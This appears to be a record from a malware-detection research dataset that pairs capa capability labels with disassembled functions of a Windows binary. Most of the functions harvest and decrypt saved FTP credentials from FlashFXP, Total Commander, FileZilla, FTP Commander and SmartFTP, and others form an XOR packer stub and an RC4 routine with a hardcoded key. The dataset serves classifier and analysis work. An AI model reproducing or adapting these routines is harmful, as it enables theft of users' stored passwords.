joyce8/EMBER2024-capa huggingface dataset:
Function at 0x45a010
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x4a1014]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.USER32.dll_GetDlgItem]
push esi
push edi
push 0
mov edi, ecx
mov dword [ebp - 0x108], edx
push 0x78
push edi
call ebx
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
xor esi, esi
mov ecx, dword [ebp - 0x108]
movsx eax, word [ecx + 0x12]
cmp esi, eax
jne 0x45a076
movsx edx, word [ecx + esi*2]
lea ecx, [ebp - 0x104]
call fcn.00459c40
lea eax, [ebp - 0x104]
push eax
lea eax, [esi + 0x6e]
push eax
push edi
call ebx
push eax
call dword [sym.imp.USER32.dll_SetWindowTextW]
push 1
lea eax, [esi + 0x6e]
push eax
push edi
call ebx
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
inc esi
cmp esi, 8
jl 0x45a044
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00462fbd
mov esp, ebp
pop ebp
ret
Function at 0x45e2f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x424
mov eax, dword [0x4a1014]
xor eax, ebp
mov dword [ebp - 4], eax
movaps xmm1, xmmword [0x492c30]
xor al, al
push ebx
push esi
mov byte [ebp - 0x412], al
lea esi, [ebp - 0x3fc]
push edi
mov edi, dword [ebp + 8]
mov al, 0x36
mov dword [ebp - 0x420], edx
mov ah, 1
mov dword [ebp - 0x424], ecx
mov edx, 8
mov dword [ebp - 0x41c], edi
mov byte [ebp - 0x411], al
mov dword [ebp - 0x410], 0
mov dword [ebp - 0xc], 0
lea ecx, [edx - 8]
movd xmm0, ecx
lea esi, [esi + 0x40]
pshufd xmm0, xmm0, 0
lea ecx, [edx - 4]
paddd xmm0, xmm1
movups xmmword [esi - 0x50], xmm0
movd xmm0, ecx
lea ecx, [edx + 4]
pshufd xmm0, xmm0, 0
paddd xmm0, xmm1
movups xmmword [esi - 0x40], xmm0
movd xmm0, edx
add edx, 0x10
pshufd xmm0, xmm0, 0
paddd xmm0, xmm1
movups xmmword [esi - 0x30], xmm0
movd xmm0, ecx
lea ecx, [edx - 8]
pshufd xmm0, xmm0, 0
paddd xmm0, xmm1
movups xmmword [esi - 0x20], xmm0
cmp ecx, 0x100
jl 0x45e350
xor esi, esi
xor ebx, ebx
xor edx, edx
mov dword [ebp - 0x418], edx
nop word [eax + eax]
mov cl, al
shr al, 1
shl cl, 7
add al, cl
test ah, ah
je 0x45e3f5
movzx edx, byte [esi + edi]
mov cl, al
and cl, 1
add cl, 2
movzx ecx, cl
imul edx, ecx
mov ch, byte [ebp - 0x411]
add ch, dl
mov edx, dword [ebp - 0x418]
mov byte [ebp - 0x411], ch
jmp 0x45e3fb
mov ch, byte [ebp - 0x411]
mov cl, byte [esi + edi]
xor cl, al
jne 0x45e41b
test ah, ah
je 0x45e411
cmp ch, byte [esi + edi + 1]
sete byte [ebp - 0x412]
mov cl, byte [edi]
mov al, 0x1b
xor ah, ah
xor esi, esi
xor cl, al
mov edx, dword [ebp + edx*4 - 0x40c]
inc esi
mov edi, dword [ebp - 0x418]
add bl, dl
add bl, cl
movzx ebx, bl
mov ecx, dword [ebp + ebx*4 - 0x40c]
mov dword [ebp + edi*4 - 0x40c], ecx
mov dword [ebp + ebx*4 - 0x40c], edx
mov edx, edi
mov edi, dword [ebp - 0x41c]
inc edx
mov dword [ebp - 0x418], edx
cmp edx, 0x100
jl 0x45e3c0
cmp byte [ebp - 0x412], 0
je 0x45e4d8
mov edi, dword [ebp - 0x420]
xor esi, esi
mov edx, dword [ebp - 0x410]
mov ebx, dword [ebp - 0xc]
test edi, edi
jle 0x45e4c2
nop
inc dl
movzx edx, dl
mov ecx, dword [ebp + edx*4 - 0x40c]
mov al, cl
add al, bl
movzx ebx, al
mov eax, dword [ebp + ebx*4 - 0x40c]
mov dword [ebp + edx*4 - 0x40c], eax
mov dword [ebp + ebx*4 - 0x40c], ecx
add cl, al
movzx eax, cl
mov ecx, dword [ebp - 0x424]
mov al, byte [ebp + eax*4 - 0x40c]
xor byte [esi + ecx], al
inc esi
cmp esi, edi
jl 0x45e480
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00462fbd
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00462fbd
mov esp, ebp
pop ebp
ret
Function at 0x45f3e0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
test edx, edx
jne 0x45f3eb
xor eax, eax
pop ebp
ret
pop ebp
jmp fcn.0045f400
Function at 0x4681ec
Capabilities:
Get common file path
Set current directory

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00468063

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408e84
nop
nop
mov ecx, 0x49642325
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x430024
nop
nop
nop
nop
nop
mov eax, section..data
mov ebx, 0x42e1d0
nop
nop
mov ecx, 0x409945b2
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x430084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x40253c
Capabilities:
Create process on windows
Delete file

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2064
call fcn.0040d5b0
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push esi
xor esi, esi
cmp dword [0x4114e4], esi
push edi
mov dword [ebp - 4], esi
jne 0x402572
jmp 0x402568
push 0x2710
call ebx
call fcn.00406d14
cmp eax, 1
jne 0x402561
cmp dword [ebp + 0x1c], esi
je 0x402584
push 4
push esi
push 7
call fcn.0040a786
add esp, 0xc
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
xor edi, edi
cmp dword [ebp + 0x18], esi
jle 0x4025ba
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00407036
add esp, 0x10
test eax, eax
jne 0x4025c1
push 0xea60
inc edi
call ebx
cmp edi, dword [ebp + 0x18]
jl 0x402594
xor eax, eax
jmp 0x402660
cmp dword [ebp + 0x1c], esi
je 0x4025d3
push 4
push esi
push 8
call fcn.0040a786
add esp, 0xc
push 0x44
lea eax, [ebp - 0x60]
push esi
push eax
call fcn.0040d530
lea eax, [ebp - 0x2060]
add esp, 0xc
push eax
mov edx, 0x40e30c
call fcn.00405511
pop ecx
mov ecx, dword [ebp + 0x10]
lea eax, [ebp - 0x2060]
call fcn.004054ed
mov ecx, 0x40e310
call fcn.004054ed
cmp dword [ebp + 0x14], esi
je 0x402630
mov edx, dword [ebp + 0x14]
mov eax, str.none
call fcn.00405467
test eax, eax
je 0x402630
mov ecx, dword [ebp + 0x14]
lea eax, [ebp - 0x2060]
call fcn.004054ed
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x60]
push eax
push 0x420840
push esi
push 0x20
push esi
push esi
push esi
lea eax, [ebp - 0x2060]
push eax
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x40265d
or dword [ebp - 4], 8
jmp 0x402660
xor eax, eax
inc eax
mov ecx, dword [ebp + 0x20]
cmp ecx, esi
je 0x40266c
mov edx, dword [ebp - 4]
mov dword [ecx], edx
mov ecx, dword [ebp + 0x24]
cmp ecx, esi
je 0x402675
mov dword [ecx], esi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4033d9
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
movzx eax, word [ecx]
sub esp, 0x140
push ebx
push esi
xor esi, esi
test ax, ax
push edi
mov edx, ecx
je 0x403404
movzx eax, ax
cmp ax, 3
je 0x40340c
inc edx
inc edx
movzx eax, word [edx]
test ax, ax
jne 0x4033f4
cmp word [edx], 3
je 0x40340c
xor edx, edx
test edx, edx
je 0x40341c
call fcn.0040c364
mov dword [ebp - 4], eax
mov ebx, ecx
jmp 0x403434
lea ebx, [ebp - 0x40]
mov eax, ebx
push eax
mov edx, str.yA36zA48dEhfrvghGRg57h5UlDv3
mov dword [ebp - 4], 0x1c
call fcn.00405511
pop ecx
mov ecx, dword [ebp + 8]
call fcn.0040c364
cdq
sub eax, edx
mov edi, eax
sar edi, 1
cmp edi, 0xff
jge 0x4034a1
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x140]
call fcn.0040c233
test al, al
je 0x4034a1
dec edi
xor ecx, ecx
xor esi, esi
test edi, edi
jle 0x403497
cmp esi, dword [ebp - 4]
jne 0x40346d
xor esi, esi
mov al, byte [ebx + esi*2]
xor al, byte [ebp + ecx - 0x13f]
mov dl, byte [ebp + ecx - 0x140]
cmp al, dl
jae 0x403484
dec al
sub al, dl
mov edx, dword [ebp + 8]
movzx ax, al
mov word [edx + ecx*2], ax
inc ecx
inc esi
cmp ecx, edi
jl 0x403466
mov eax, dword [ebp + 8]
and word [eax + ecx*2], 0
mov esi, ecx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x403740
Capabilities:
Get common file path
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x484
push ebx
push esi
push edi
push 8
xor ebx, ebx
push ebx
lea eax, [ebp - 8]
push eax
call fcn.0040be9d
lea eax, [ebp - 0x70]
push eax
mov edx, str.SOFTWAREFlashFXP3
call fcn.00405511
pop ecx
lea eax, [ebp - 0x30]
push eax
mov edx, str.datafolder
call fcn.00405511
pop ecx
mov esi, 0x104
push esi
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x70]
push eax
lea edi, [ebp - 0x278]
mov eax, 0x80000002
call fcn.0040848f
add esp, 0xc
cmp eax, 0xffffffff
je 0x4037c5
cmp eax, ebx
jbe 0x4037c5
push esi
lea eax, [ebp - 0x480]
push eax
mov eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x480]
push eax
call fcn.004034a8
pop ecx
pop ecx
cmp dword [ebp - 4], ebx
jne 0x40383a
lea eax, [ebp - 0x48]
push eax
mov edx, str.flashfxp
call fcn.00405511
lea eax, [ebp - 0x48]
pop ecx
mov dword [ebp - 0x18], 0x23
mov dword [ebp - 0x14], 0x1a
mov dword [ebp - 0x10], 0x26
mov dword [ebp - 0xc], eax
xor esi, esi
lea eax, [ebp - 0x278]
push eax
push ebx
push ebx
push dword [ebp + esi*4 - 0x18]
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x403831
push ebx
push ebx
push ebx
lea eax, [ebp - 8]
push eax
push 0x40350f
push 2
push 1
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x278]
push eax
call fcn.00408248
add esp, 0x24
inc esi
cmp esi, 3
jb 0x4037f6
cmp dword [ebp - 4], ebx
jbe 0x403846
mov esi, dword [ebp - 8]
call fcn.004033a0
jmp 0x40384f
push dword [ebp - 8]
call fcn.0040be3a
pop ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x403854
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
mov eax, dword [ecx]
imul eax, eax, 0x8088405
push 0x20
push 0
push dword [esp + 0xc]
inc eax
push 0
push eax
mov dword [ecx], eax
call fcn.004085d0
push edx
push eax
call fcn.004085a1
ret
Function at 0x403877
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
sub esp, 0x108
push ebx
push esi
push edi
call fcn.0040c364
cdq
sub eax, edx
mov esi, eax
sar esi, 1
cmp esi, 0xff
jge 0x40399c
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x108]
call fcn.0040c233
test al, al
je 0x40399c
sub esi, 4
xor ebx, ebx
test esi, esi
mov dword [ebp - 4], 0xcf671
jle 0x4038e4
push 8
lea ecx, [ebp - 4]
lea edi, [ebp + ebx - 0x108]
call fcn.00403854
pop ecx
movsx ecx, al
mov al, byte [edi]
rol al, cl
inc ebx
cmp ebx, esi
mov byte [edi], al
jl 0x4038c4
mov dword [ebp - 4], 0x3039
mov dword [ebp - 8], 0x100
push esi
lea ecx, [ebp - 4]
call fcn.00403854
pop ecx
push esi
lea ecx, [ebp - 4]
movsx edi, al
call fcn.00403854
dec dword [ebp - 8]
pop ecx
movsx ecx, al
lea ecx, [ebp + ecx - 0x108]
mov bl, byte [ecx]
lea eax, [ebp + edi - 0x108]
mov dl, byte [eax]
mov byte [eax], bl
mov byte [ecx], dl
jne 0x4038f2
xor edi, edi
test esi, esi
mov dword [ebp - 4], 0xa564
jle 0x40394e
push 0x100
lea ecx, [ebp - 4]
call fcn.00403854
xor byte [ebp + edi - 0x108], al
inc edi
cmp edi, esi
pop ecx
jl 0x403934
xor edi, edi
test esi, esi
mov dword [ebp - 4], 0xd431
jle 0x403975
push 0x100
lea ecx, [ebp - 4]
call fcn.00403854
sub byte [ebp + edi - 0x108], al
inc edi
cmp edi, esi
pop ecx
jl 0x40395b
xor eax, eax
test esi, esi
jle 0x403990
movzx cx, byte [ebp + eax - 0x108]
mov edx, dword [ebp + 8]
mov word [edx + eax*2], cx
inc eax
cmp eax, esi
jl 0x40397b
mov eax, dword [ebp + 8]
and word [eax + esi*2], 0
mov eax, esi
jmp 0x40399e
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4039ea
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0x20002
push 8
push dword [0x423ea0]
call edi
mov ebx, eax
xor eax, eax
cmp ebx, eax
mov dword [ebp - 0x14], ebx
je 0x403bba
push dword [ebp + 8]
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
push 0xffff
push ebx
push eax
push eax
push eax
call esi
test eax, eax
jbe 0x403bb3
lea ecx, [eax + 1]
mov eax, ebx
call fcn.0040c475
test al, al
je 0x403bb3
push 0xc0c
push 8
push dword [0x423ea0]
call edi
mov edi, eax
test edi, edi
mov dword [ebp - 0x10], edi
je 0x403bb3
lea eax, [edi + 0x3fc]
mov dword [ebp - 8], eax
add eax, 0x1fe
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x74]
push eax
mov edx, str.connections
mov dword [ebp - 4], ebx
call fcn.00405511
pop ecx
lea eax, [ebp - 0x34]
push eax
mov edx, str.default
call fcn.00405511
pop ecx
lea eax, [ebp - 0x24]
push eax
mov edx, 0x40e7cc
call fcn.00405511
pop ecx
lea eax, [ebp - 0x48]
push eax
mov edx, str.username
call fcn.00405511
pop ecx
lea eax, [ebp - 0x5c]
push eax
mov edx, str.password
call fcn.00405511
pop ecx
mov ebx, 0xff
lea eax, [ebp - 0x74]
push eax
push dword [ebp - 4]
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
test eax, eax
jne 0x403b93
lea eax, [ebp - 0x34]
push eax
push dword [ebp - 4]
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
test eax, eax
jne 0x403b93
push dword [ebp + 8]
push ebx
push edi
push eax
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 4]
call esi
test eax, eax
jbe 0x403b93
push dword [ebp + 8]
lea eax, [edi + 0x1fe]
push ebx
push eax
mov dword [ebp - 0x18], eax
push 0
lea eax, [ebp - 0x48]
push eax
push dword [ebp - 4]
call esi
test eax, eax
jbe 0x403b93
push dword [ebp + 8]
lea eax, [ebp - 0x5c]
push ebx
push dword [ebp - 8]
push 0
push eax
push dword [ebp - 4]
call esi
test eax, eax
jbe 0x403b93
push dword [ebp - 8]
call fcn.00403877
test eax, eax
pop ecx
jle 0x403b93
lea eax, [ebp - 0x94]
push eax
mov edx, str.ftp:___s:_s__s_n
call fcn.00405511
pop ecx
push edi
push dword [ebp - 8]
mov edi, dword [ebp - 0xc]
push dword [ebp - 0x18]
lea eax, [ebp - 0x94]
push eax
mov edx, 0x307
call fcn.0040c3f9
add esp, 0x10
test eax, eax
jle 0x403b90
push edi
mov edi, dword [ebp + 0xc]
mov ecx, edi
call fcn.0040c00b
test al, al
pop ecx
je 0x403b90
inc dword [edi + 4]
mov edi, dword [ebp - 0x10]
mov ecx, dword [ebp - 4]
push 1
call fcn.0040c495
test eax, eax
pop ecx
mov dword [ebp - 4], eax
jne 0x403ac8
push edi
call fcn.0040be3a
mov ebx, dword [ebp - 0x14]
pop ecx
push ebx
call fcn.0040be3a
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x403c10
Capabilities:
Get common file path
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x514
push ebx
push esi
push edi
push 8
push 0
lea eax, [ebp - 0xc]
push eax
call fcn.0040be9d
lea eax, [ebp - 0x100]
mov ebx, str.SOFTWAREGhislerTotal_Commander
push eax
mov edx, ebx
call fcn.00405511
pop ecx
lea eax, [ebp - 0x6c]
push eax
mov edx, str.ftpininame
call fcn.00405511
pop ecx
mov esi, 0x104
push esi
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp - 0x100]
push eax
lea edi, [ebp - 0x308]
mov eax, 0x80000001
call fcn.0040848f
add esp, 0xc
cmp eax, 0xffffffff
je 0x403ca9
test eax, eax
jbe 0x403ca9
push esi
lea eax, [ebp - 0x510]
push eax
mov eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x510]
push eax
call fcn.004039ea
pop ecx
pop ecx
lea eax, [ebp - 0x510]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
cmp dword [ebp - 8], 0
jne 0x403dfe
lea eax, [ebp - 0x40]
push eax
mov edx, str.totalcmd
call fcn.00405511
pop ecx
lea eax, [ebp - 0x9c]
push eax
mov edx, str.totalcommander
call fcn.00405511
pop ecx
lea eax, [ebp - 0x54]
push eax
mov edx, str.ghisler
call fcn.00405511
and dword [ebp - 4], 0
lea eax, [ebp - 0x40]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x9c]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x54]
pop ecx
mov dword [ebp - 0x28], 0x24
mov dword [ebp - 0x24], 0x1a
mov dword [ebp - 0x20], 0x26
mov dword [ebp - 0x1c], 0x23
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 4]
mov edi, dword [ebp + eax*4 - 0x28]
lea eax, [ebp - 0x308]
push eax
xor eax, eax
push eax
push eax
push edi
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x403d7f
cmp edi, 0x24
jne 0x403d5a
xor edi, edi
push edi
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x308]
push eax
call fcn.004039a3
add esp, 0xc
mov word [ebp - 0x302], di
jmp 0x403d5c
xor edi, edi
push edi
push edi
push edi
lea eax, [ebp - 0xc]
push eax
push 0x403bbf
push 2
push 3
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x308]
push eax
call fcn.00408248
add esp, 0x24
inc dword [ebp - 4]
cmp dword [ebp - 4], 4
jb 0x403d18
cmp dword [ebp - 8], 0
jne 0x403dfe
lea eax, [ebp - 0xb8]
push eax
mov edx, ebx
call fcn.00405511
pop ecx
lea eax, [ebp - 0x40]
push eax
mov edx, str.installdir
call fcn.00405511
pop ecx
push esi
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0xb8]
push eax
lea edi, [ebp - 0x308]
mov eax, 0x80000001
call fcn.0040848f
add esp, 0xc
cmp eax, 0xffffffff
je 0x403dfa
test eax, eax
jbe 0x403dfa
push esi
lea eax, [ebp - 0x510]
push eax
mov eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push 1
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x510]
push eax
call fcn.004039a3
add esp, 0xc
cmp dword [ebp - 8], 0
jbe 0x403e0a
mov esi, dword [ebp - 0xc]
call fcn.004033a0
jmp 0x403e13
push dword [ebp - 0xc]
call fcn.0040be3a
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4040e7
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x238
push esi
lea eax, [ebp - 0x30]
push edi
push eax
mov edx, str.filezilla
call fcn.00405511
pop ecx
lea eax, [ebp - 0x30]
push 8
mov dword [ebp - 0xc], eax
xor esi, esi
push esi
lea eax, [ebp - 8]
push eax
mov dword [ebp - 0x18], 0x26
mov dword [ebp - 0x14], 0x1a
mov dword [ebp - 0x10], 0x23
call fcn.0040be9d
xor edi, edi
lea eax, [ebp - 0x238]
push eax
push esi
push esi
push dword [ebp + edi*4 - 0x18]
push esi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x404167
push esi
push esi
push esi
lea eax, [ebp - 8]
push eax
push 0x403e18
push 2
push 1
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x238]
push eax
call fcn.00408248
add esp, 0x24
inc edi
cmp edi, 3
jb 0x40412c
cmp dword [ebp - 4], esi
jbe 0x40417c
mov esi, dword [ebp - 8]
call fcn.004033a0
jmp 0x404185
push dword [ebp - 8]
call fcn.0040be3a
pop ecx
pop edi
pop esi
leave
ret

Function at 0x404189
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
push 0xff
push edi
lea eax, [ebp - 0x100]
push eax
call fcn.0040be76
mov cl, byte [ebp - 0xff]
xor cl, byte [ebp - 0x100]
mov dl, byte [ebp - 0xfe]
or cl, 0x50
xor eax, eax
test dl, dl
mov byte [ebp - 2], 0
je 0x4041dd
push esi
lea esi, [ebp - 0xfe]
xor dl, cl
movzx dx, dl
mov word [edi + eax*2], dx
inc eax
inc esi
mov dl, byte [esi]
test dl, dl
jne 0x4041ca
pop esi
and word [edi + eax*2], 0
leave
ret
Function at 0x404463
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
push ebx
push esi
mov ecx, edi
call fcn.0040c364
cdq
sub eax, edx
mov esi, eax
sar esi, 1
cmp esi, 0xff
jge 0x404515
lea ecx, [ebp - 0x100]
mov eax, edi
call fcn.0040c233
test al, al
je 0x404515
xor eax, eax
test esi, esi
jle 0x4044ac
xor byte [ebp + eax - 0x100], 0x5c
inc eax
cmp eax, esi
jl 0x40449f
mov bl, byte [ebp - 0x100]
cmp bl, 0xff
jne 0x4044c5
mov bl, byte [ebp - 0xfe]
lea eax, [ebp - 0xfd]
jmp 0x4044cb
lea eax, [ebp - 0xff]
movzx ecx, byte [eax]
lea ecx, [eax + ecx + 1]
movzx eax, bl
lea edx, [eax + ecx]
lea esi, [ebp + esi - 0x100]
cmp edx, esi
ja 0x404515
cmp eax, dword [ebp + 8]
jl 0x404515
cmp byte [ebp - 0x100], 0xff
jne 0x4044f7
add ecx, dword [ebp + 8]
sub bl, byte [ebp + 8]
movzx eax, bl
xor edx, edx
test eax, eax
jle 0x40450e
movzx si, byte [edx + ecx]
mov word [edi + edx*2], si
inc edx
cmp edx, eax
jl 0x404500
and word [edi + eax*2], 0
jmp 0x404517
xor eax, eax
pop esi
pop ebx
leave
ret
Function at 0x404a92
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x240
push esi
lea eax, [ebp - 0x38]
push edi
push eax
mov edx, str.ftpcommander
call fcn.00405511
pop ecx
lea eax, [ebp - 0x38]
push 8
mov dword [ebp - 0xc], eax
xor esi, esi
push esi
lea eax, [ebp - 8]
push eax
mov dword [ebp - 0x18], 0x26
mov dword [ebp - 0x14], 0x1a
mov dword [ebp - 0x10], 0x23
call fcn.0040be9d
xor edi, edi
lea eax, [ebp - 0x240]
push eax
push esi
push esi
push dword [ebp + edi*4 - 0x18]
push esi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x404b12
push esi
push esi
push esi
lea eax, [ebp - 8]
push eax
push 0x4047cc
push 2
push 1
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x240]
push eax
call fcn.00408248
add esp, 0x24
inc edi
cmp edi, 3
jb 0x404ad7
cmp dword [ebp - 4], esi
jbe 0x404b27
mov esi, dword [ebp - 8]
call fcn.004033a0
jmp 0x404b30
push dword [ebp - 8]
call fcn.0040be3a
pop ecx
pop edi
pop esi
leave
ret
Function at 0x405136
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x53c
push ebx
push esi
push edi
push 8
xor esi, esi
push esi
lea eax, [ebp - 0xc]
push eax
call fcn.0040be9d
lea eax, [ebp - 0x128]
push eax
mov edx, str.SOFTWARE_smartftpclient_2.0_settingsgeneral_favorites
call fcn.00405511
lea eax, [ebp - 0xb8]
push eax
mov edx, str.SOFTWARE_smartftpclient_2.0_settings_backup
call fcn.00405511
lea eax, [ebp - 0x54]
push eax
mov edx, str.personal_favorites
call fcn.00405511
lea eax, [ebp - 0x2c]
push eax
mov edx, str.folder
call fcn.00405511
lea eax, [ebp - 0x128]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0xb8]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x54]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x2c]
add esp, 0x10
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], 2
mov ebx, 0x104
push ebx
push dword [ebp + esi - 0x14]
lea edi, [ebp - 0x330]
push dword [ebp + esi - 0x1c]
mov eax, 0x80000001
call fcn.0040848f
add esp, 0xc
cmp eax, 0xffffffff
je 0x405203
test eax, eax
jbe 0x405203
push ebx
lea eax, [ebp - 0x538]
push eax
mov eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x538]
push eax
call fcn.00404e7b
pop ecx
pop ecx
add esi, 4
dec dword [ebp - 4]
jne 0x4051bb
cmp dword [ebp - 8], 0
jbe 0x40521b
mov esi, dword [ebp - 0xc]
call fcn.004033a0
jmp 0x405224
push dword [ebp - 0xc]
call fcn.0040be3a
pop ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4069fd
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 8]
push eax
xor esi, esi
lea eax, [ebp - 4]
push eax
push esi
push 0x20006
push esi
push esi
push esi
push dword [ebp + 0xc]
mov dword [ebp - 4], esi
push dword [ebp + 8]
mov dword [ebp - 8], esi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
je 0x406a30
xor eax, eax
jmp 0x406a65
push edi
push dword [ebp + 0x14]
call fcn.00405451
pop ecx
lea eax, [eax + eax + 2]
push eax
push dword [ebp + 0x14]
push dword [ebp + 0x18]
push esi
push dword [ebp + 0x10]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
cmp edi, esi
sete al
pop edi
pop esi
leave
ret

Function at 0x406d14
Capabilities:
Check internet connectivity via wininet
Create http request

Disassembly:
push esi
xor esi, esi
push esi
call dword [sym.imp.WININET.dll_InternetAttemptConnect]
test eax, eax
je 0x406d26
xor eax, eax
pop esi
ret
push esi
push esi
push esi
push 1
push esi
call dword [sym.imp.WININET.dll_InternetOpenW]
xor ecx, ecx
cmp eax, esi
setne cl
mov dword [0x4114e4], eax
pop esi
mov eax, ecx
ret